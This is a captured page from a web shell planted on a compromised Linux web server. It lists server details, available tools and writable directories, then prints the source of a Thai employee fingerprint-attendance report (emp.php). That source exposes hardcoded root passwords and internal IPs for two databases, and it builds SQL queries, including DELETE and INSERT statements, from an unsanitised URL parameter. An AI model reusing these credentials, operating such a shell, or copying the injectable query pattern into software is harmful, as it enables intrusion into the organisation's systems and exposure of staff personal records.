403Webshell
Server IP : 134.236.49.22  /  Your IP : 216.73.216.114
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/Menu กลุ่มงานบริหารงานทั่วไป/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/Menu กลุ่มงานบริหารงานทั่วไป/emp.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>รายงาน</title>
<html lang="th">
<meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>jQuery UI Datepicker - Default functionality</title>
  <link rel="stylesheet" href="jquery-ui.css">
  <link rel="stylesheet" href="/resources/demos/style.css">
  <script src="jquery-1.12.4.js"></script>
  <script src="jquery-ui.js"></script>
  <script type="text/javascript"> 
  $( function() {
    $( "#datepicker" ).datepicker();
  } );
  
  function getValue(vname) 
	{ 
		var n = document.getElementById(vname).value
		return n;
	} 
	function changeFunc(URL) {
    	var Idsel;
		Idsel = getValue('datepicker');
		URL+="emp.php?&Date=" ;
		URL+=Idsel;
   		window.location= URL; 
   	}
  </script>
   <style>
table, td, th {
    border: 1px solid black;      //กำหนดความหนาและสีของเส้นขอบ 
	padding:4px ;
	cellspacing:1px;
}
th {
    background-color: #3366cc;   //กำหนดสีพื้นหลังของหัวตาราง
}
</style>           		

</head>
 <div align="center">
  <img src="/fg/img/Header2.jpg" width="700" height="117" />

<body>
<?php 
	//ตั้งค่าการเชื่อมต่อฐานข้อมูล
	$database_host = '192.168.1.39';
	$database_port = '3306';
	$database_username = 'root';
	$database_password = '090407';
	$database_name = 'mit';
	$mysqli = new mysqli($database_host, $database_username, $database_password, $database_name, $database_port);
	$mysqli->set_charset("utf8");
	if ($mysqli->connect_error) {
		die('Error : ('. $mysqli->connect_errno .') '. $mysqli->connect_error);
	}
	$get_user = $mysqli->query('SELECT empimage.EmpID,empimage.EmpTitle,empimage.EmpName,empimage.Empsurname ,empimage.no ,substr(finger.hn,6,4) AS fingers,empimage.Active,empimage.EmpPicture FROM empimage  LEFT  JOIN finger
   ON  empimage.EmpID = substr(finger.hn,6,4) WHERE Active = "A" GROUP BY EmpID ORDER BY no,EmpID ');
	//กำหนดวันที่ทำรายงาน
	if (isset($_GET['Date'])) $chkDate = $_GET['Date'];
	else $chkDate = date('d/m/Y',time());
	if (isset($_GET['sent'])) $sent = $_GET['sent'];
	else $sent= 'N';
	$SqlDate = substr($chkDate,6,4).'-'.substr($chkDate,3,2).'-'.substr($chkDate,0,2);
	$tdate = strtotime($SqlDate.' 22:00:00');
	$tStart = date('Y-m-d H:i:s', strtotime('-1 days',$tdate)); 
	$tdate = strtotime($SqlDate.' 02:00:00');
	$tStop = date('Y-m-d H:i:s', strtotime('+1 days',$tdate)); 
	$dp1 = date('Y-m-d H:i:s',strtotime($SqlDate.' 03:00:00'));
	$dp2 = date('Y-m-d H:i:s',strtotime($SqlDate.' 14:00:00'));
	$dp3 = date('Y-m-d H:i:s',strtotime($SqlDate.' 20:00:00'));
	//echo '<p>'.$tStart.','.$tStop.','.$dp1.','.$dp2.','.$dp3.'</p>';

?>	
  <P>Date: <input type="text" size="10" width = "20px" id="datepicker" value = " <?php echo $chkDate; ?>" onChange="changeFunc('<?php $_SERVER["PHP_SELF"];?>')" >
  
  <table align='center' width="700" class="table" id="datatable">
 	<TR>
		<!-- <td rowspan="2"width="7%">ลำดับ</td>  -->
		<td rowspan="2"width="10%">คำนำหน้า</td>
		<td rowspan="2"width="25%">ชื่อ</td>
		<td rowspan="2"width="25%">นามสกุล</td>
		<!--<td rowspan="2"width="25%">ประเภท</td>-->
		<td rowspan="2"width="8%">สแกนลายนิ้วมือแล้ว</td>
		<td rowspan="2"width="8%">รหัสบุคคล</td> 
		<td rowspan="2"width="8%">รูป</td> 
		<td align="center" colspan="2"width="8%">ดึก</td>
		<td align="center" colspan="2"width="8%">เข้า</td>
		<td align="center" colspan="2"width="8%">บ่าย</td>
	</TR>
	<TR>
        <td width="8%">เวลามา</td>
		<td width="8%">เวลากลับ</td> 
		<td width="8%">เวลามา</td>
		<td width="8%">เวลากลับ</td> 
		<td width="8%">เวลามา</td>
		<td width="8%">เวลากลับ</td> 
    </TR>
	
    <p>
  <?php
  		if ($sent=='Y'){
			$serverName = "192.168.1.7";
			$connectionInfo = array( "Database"=>"PhanthongHRM", "UID"=>"root", "PWD"=>"123456" );
			$conn = sqlsrv_connect( $serverName, $connectionInfo);
			if( $conn === false ) {
				die( print_r( sqlsrv_errors(), true));
			}
		}

		//---------------------------------------------------------------------------------------------
		$numall =0;
		$numF =0;
		$numW = 0;
		while($emp = $get_user->fetch_array()){
			$numall = $numall+1;
			$empHN = '00000'.$emp['EmpID'];
			echo "<TR>";
			//echo "<td align='left'><span>".$emp['no']."</span></td>";
			echo '<td align="left"><a href="emp_d_list.php?&Emp='.$empHN.'&Date='.$chkDate.'&Name='.$emp['EmpName'].'"  target="_blank"><span>'.$emp['EmpTitle'].'</span></a></td>';
			echo "<td align='left'><span>".$emp['EmpName']."</span></td>";
			echo "<td align='left'><span>".$emp['Empsurname']."</span></td>";
			//echo "<td align='left'><span>".$emp['Emptypeid']."</span></td>";
			if($emp['fingers'] != NULL){
				echo "<td align='right'><span><img src='img/finger.ico'' width='40' height='40' border='0'></span></td>";
				 $numF = $numF+1;
			}
			else{
				echo "<td align='right'><span>".$emp['fingers']."</span></td>";
			}
			echo "<td align='left'><span>".$emp['EmpID']."</span></td>";
			echo '<td><img src="data:image/jpeg;base64,'.base64_encode( $emp['EmpPicture'] ).'" width="45" height="45"/></td>';
			$TimeIn1='';$TimeOut1='';$TimeIn2='';$TimeOut2='';$TimeIn3='';$TimeOut3='';
			$get_time = $mysqli->query("SELECT date ,type FROM timerec  WHERE timerec.hn ='$empHN' AND  timerec.date >='{$tStart}' AND  timerec.date <='{$tStop}'   order by date");
			while($recT = $get_time->fetch_array()){
				if ($recT['type'] == 'O'){  //ออก
					if ($TimeIn3 <>'' && $recT['date'] >= $TimeIn3 ){
						$tcomp = date('Y-m-d H:i:s', strtotime('+60 minutes',strtotime($TimeIn3))); 
						if ($recT['date'] >= $tcomp){
							$TimeOut3 = $recT['date'];
						} else {
							if (!$TimeIn2 == '') {
								$TimeOut2 = $recT['date'];
								$TimeIn3 = '';
							}	
						}
					} else { 
						if ($TimeIn2 <>''  && $recT['date'] >= $TimeIn2 ){
							$tcomp = date('Y-m-d H:i:s', strtotime('+60 minutes',strtotime($TimeIn2))); 
							if ($recT['date'] >= $tcomp){ 
								$TimeOut2 = $recT['date'];
							} else {
								if (!$TimeIn1 == '') {
									$TimeOut1 = $recT['date'];
									$TimeIn2 = '';
								}	
							}
						} else {
							if ($TimeIn1 <>''  && $recT['date'] >= $TimeIn1 ){
								$tcomp = date('Y-m-d H:i:s', strtotime('+60 minutes',strtotime($TimeIn1))); 
								if ($recT['date'] >= $tcomp){
									$TimeOut1 = $recT['date'];
								} else {
									$TimeIn1 ='';
								}
							}
						}		
					}
				} else {
					if ($recT['date'] <= $dp1){
						if ($TimeIn1 =='') $TimeIn1 = $recT['date'];
					} 
					else {
						
						if ($recT['date'] <= $dp2){
							if ($TimeIn2 =='') $TimeIn2 = $recT['date'];
						} else {
							if ($recT['date'] <= $dp3) {
								if ($TimeIn3 =='') $TimeIn3 = $recT['date'];
							}
						}
						
						/*if ($recT['date'] <= $dp2){
							if ($TimeIn1 =='' ) {
								if ($TimeIn2 =='') $TimeIn2 = $recT['date'];
							} else {
								if ($TimeOut1 =='') $TimeOut1 =$recT['date'];
								else if ($TimeIn2 =='') $TimeIn2 = $recT['date']; 
							}
						} else {
							if ($recT['date'] <= $dp3) {
								if ($TimeIn2 =='' ) {
									if ($TimeIn3 =='') $TimeIn3 = $recT['date'];
								} else {
									if ($TimeOut2 =='') $TimeOut2 =$recT['date'];
									else if ($TimeIn3 =='') $TimeIn3 = $recT['date']; 
								}
							}
						}
						*/
						
					}
				}
			}
			mysqli_free_result($get_time);
			
			echo "<td align='left'><span>";
			if ($TimeIn1=='') echo '';
			else echo substr($TimeIn1,11,5);
			echo	"</span></td>";
			echo "<td align='left'><span>";
			if ($TimeOut1=='') echo '';
			else echo substr($TimeOut1,11,5);
			echo	"</span></td>";
			
			echo "<td align='left'><span>";
			if ($TimeIn2=='') echo '';
			else {
				echo substr($TimeIn2,11,5);
				$numW =$numW +1;
			}
			echo	"</span></td>";
			echo "<td align='left'><span>";
			if ($TimeOut2=='') echo '';
			else echo substr($TimeOut2,11,5);
			echo	"</span></td>";
			
			echo "<td align='left'><span>";
			if ($TimeIn3=='') echo '';
			else echo substr($TimeIn3,11,5);
			echo	"</span></td>";
			echo "<td align='left'><span>";
			if ($TimeOut3=='') echo '';
			else echo substr($TimeOut3,11,5);
			echo	"</span></td>";
			echo"</tr>";
			if ($sent=='Y'){ 
				$sql = "delete from Mstimerec where mshn='$empHN' and date='$SqlDate'";
				$stmt = sqlsrv_query( $conn, $sql);
				if ($TimeIn1<>''or $TimeOut1<>''){
					$sql = "INSERT INTO Mstimerec (mshn, datetimeIN, datetimeOUT, period, date) VALUES ('$empHN', '$TimeIn1', '$TimeOut1', '1', '$SqlDate')";
					$stmt = sqlsrv_query( $conn, $sql);
					if( $stmt === false )$sent='O';	 
				}
				if ($TimeIn2<>''or $TimeOut2<>''){
					$sql = "INSERT INTO Mstimerec (mshn, datetimeIN, datetimeOUT, period, date) VALUES ('$empHN', '$TimeIn2', '$TimeOut2', '2', '$SqlDate')";
					$stmt = sqlsrv_query( $conn, $sql);
					if( $stmt === false )$sent='O';	 
				}
				if ($TimeIn3<>''or $TimeOut3<>''){
					$sql = "INSERT INTO Mstimerec (mshn, datetimeIN, datetimeOUT, period, date) VALUES ('$empHN', '$TimeIn3', '$TimeOut3', '3', '$SqlDate')";
					$stmt = sqlsrv_query( $conn, $sql);
					if( $stmt === false )$sent='O';	 
				}
			}
			
		}      
		mysqli_free_result($get_user);
		
		echo "</table>";
		echo "จำนวนเจ้าหน้าที่ ".$numall."   บันทึกลายนิ้วมือ ".$numF." (".number_format($numF*100/$numall ,2).' %) มาปฏิบัติงานเวรเช้า จำนวน '.$numW  ;
        if ($sent=='Y') echo "<br>ส่งสำเร็จ";
		else if ($sent=='O') echo "<br>ส่งไม่สำเร็จ";
		?>
  </p>		
</p>
    <?php if ($sent=='N') echo '<p><a href="'.$_SERVER["PHP_SELF"].'?&Date='.$chkDate.'&sent=Y">ส่งต่อข้อมูล</a></p>'?>

</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit